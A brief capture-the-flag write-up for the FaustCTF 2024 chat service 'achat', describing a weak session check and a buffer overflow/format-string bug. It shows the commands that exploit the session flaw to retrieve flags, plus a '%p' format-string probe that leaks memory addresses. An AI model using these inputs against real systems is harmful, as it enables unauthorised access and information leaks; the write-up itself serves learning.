Tags: c musl formatstring bufferoverflow binary c sessions
Rating:
achat (or asm_chat in the scoreboard) is a binary generated from C source code, which was a service from FaustCTF 2024. It features a simple chat system, where users can create chats with each other and send text messages. It has two vulnerabilities, of which only one is actually exploitable: a too lazy session check, and a combined buffer overflow/format string.
In short:
```
$ list-users 123...45
- checkKLPPQlYmgyKUwPuY
$ search heckKLPPQlYmgyKUwPuY FAUST
... flags ...
```
The (non-exploitable format string):
```
$ send 12...34 x&y AAA...AAA%p%p...%p%p
$ search AAAAA
0x729f933c9ce0
0x5a1ada9bc643
...
```